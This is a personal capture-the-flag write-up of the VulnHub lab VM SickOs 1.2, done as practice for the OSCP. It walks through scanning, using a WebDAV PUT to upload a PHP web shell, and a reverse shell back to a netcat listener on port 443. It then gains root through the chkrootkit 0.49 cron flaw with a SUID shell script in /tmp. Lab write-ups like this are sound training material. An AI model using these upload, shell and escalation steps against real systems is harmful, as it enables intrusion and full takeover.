SickOs: 1.2 Write-Up
To prepare for OSCP1 I’m planning to do a whole bunch of VulnHub VMs and other challenges. Doing these VMs and creating write-ups should give a good amount of practice before I start with the actual PWK1 course.
SickOs: 1.2
I have not done the first version of SickOS, but a colleague of mine recommended this one2.
Setup
I’m using VMware with two VMs: Kali 2017.1 and SickOs: 1.2.
Scanning & Enumeration
After finding the IP of the kioptrix VM it’s possible to perform the usual Nmap scan to get a quick overview of what is running on the VM.
root@vm-kali:~# nmap -T4 -sV 192.168.181.143
Starting Nmap 7.40 ( https://nmap.org ) at 2017-09-28 17:05 MDT
Stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 71.40% done; ETC: 17:07 (0:00:26 remaining)
Nmap scan report for nmap (75.126.101.253)
Host is up (0.26s latency).
rDNS record for 75.126.101.253: fd.65.7e4b.ip4.static.sl-reverse.com
Not shown: 968 filtered ports, 31 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
Nmap scan report for 192.168.181.143
Host is up (0.00025s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
MAC Address: 00:0C:29:FD:70:2A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 148.22 seconds
Web Vulnerability
There isn’t that much to do on this system, but it had to be something web related. After quite a bit of testing and running some scans, something finally caught my eye when looking at what kind of HTTP OPTIONS were allowed on a directory found by dirbuster.
Dirbuster scan:
root@vm-kali:~# dirb http://192.168.181.143
--snip--
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.181.143/ ----
+ http://192.168.181.143/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.181.143/test/
---- Entering directory: http://192.168.181.143/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
--snip--
Checking for HTTP OPTIONS can be done in multiple ways. Nikto didn’t show them when I used it, but it’s also very easy to find via Firefox (Figure 1) or CURL. The main option to look for in this case is the PUT option as this gives the ability to potentially upload files to the target which can be used to create a reverse shell.
Fig 1. (updated)Screenshot of HTTP OPTIONS
Retrieving the HTTP OPTIONS via curl:
root@vm-kali:~# curl -v -X OPTIONS http://192.168.181.143/test/
* Trying 192.168.181.143...
* TCP_NODELAY set
* Connected to 192.168.181.143 (192.168.181.143) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.181.143
> User-Agent: curl/7.57.0
> Accept: */*
>
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Sun, 18 Feb 2018 02:00:02 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.181.143 left intact
Reverse Shell
With the previously found upload functionality it’s possible to upload a shell. For example a very basic php shell, or a bit more advanced reverse shell.
root@vm-kali:~# curl -X PUT -d "<?php system(\$_GET['c']); ?>" http://192.168.181.143/test/shell.php
root@vm-kali:~# curl -X PUT -d @"test.php" http://192.168.181.143/test/shell_parameters.php
To get a reverse shell I grabbed the usual PHP shell, but there were issues to get the connection between the target and the kali machine. It seemed as if the port I was using was blocked for out going traffic. To make it easier to play around with this, I modified the PHP shell so I could easily change the IP and PORT number via GET parameters. After a bit of trial and error I got a connection with port 443 (SSL).
http://192.168.181.143/test/shell_parameters.php?ip=192.168.181.144&port=443
root@kali:~# nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.181.144] from (UNKNOWN) [192.168.181.143] 46297
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
15:08:43 up 8:14, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
With the reverse shell working it was easy to look around on the target system for hints to elevate our privileges. When looking through /var/log/syslog one line caught my eye:
Oct 12 13:51:01 ubuntu CRON[13309]: (root) CMD (/usr/sbin/chkrootkit)
This made me look at the cron jobs and more specifically at chkrootkit, and if there were any vulnerabilities for this software.
$ ls -al /etc/cron*
-rw-r--r-- 1 root root 722 Jun 19 2012 /etc/crontab
--snip--
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
--snip--
Searchsploit results for chkrootkit that indicate that there is a potential for privilege escalation:
root@vm-kali:~# searchsploit chkrootkit
------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------- ----------------------------------
Chkrootkit - Local Privilege Escalation (M | exploits/linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalati | exploits/linux/local/33899.txt
------------------------------------------- ----------------------------------
To verify if the target had the vulnerable chkrootkit installed I took a look at the exploit3 description and the script itself. And yes, it was the vulnerable version:
$ grep slapper /usr/sbin/chkrootkit
TOOLS="aliens asp bindshell lkm rexedcs sniffer w55808 wted scalper slapper z2 chkutmp OSX_RSPLUG"
slapper (){
$ grep file_port /usr/sbin/chkrootkit
file_port=
[ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
file_port=$file_port $i
echo "Warning: Possible Slapper Worm installed ($file_port)"
With the help of the exploit description and a bit of trial and error the following solution helped gain root privileges:
$ echo "#!/bin/sh" >> update
$ echo "cp /bin/sh /tmp/sh" >> update
$ echo "chmod u+s /tmp/sh" >> update
$ echo "rm /tmp/update" >> update
$ chmod +x update
$ ls -al
total 124
drwxrwxrwt 4 root root 4096 Oct 17 13:42 .
drwxr-xr-x 22 root root 4096 Mar 30 2016 ..
drwxrwxrwt 2 root root 4096 Oct 5 16:02 VMwareDnD
srwxr-xr-x 1 www-data www-data 0 Oct 5 16:02 php.socket-0
-rwsr-xr-x 1 root root 100284 Oct 17 13:40 sh
-rwxrwxrwx 1 root root 810 Oct 17 13:26 shadow_tmp
-rw-r--r-- 1 root root 1600 Oct 5 16:02 vgauthsvclog.txt.0
drwx------ 2 root root 4096 Oct 5 16:02 vmware-root
$ /tmp/sh
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
ls /root
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
Additional Notes / Lessons Learned
SickOS 1.2 is a good boot2root VM to play around with. A couple of personal lessons learned are:
- I should read a bit better and improve my note taking;
- Nikto does not necessarily show the HTTP OPTIONS;
- It definitely gave more good practice with SUID and root cron jobs.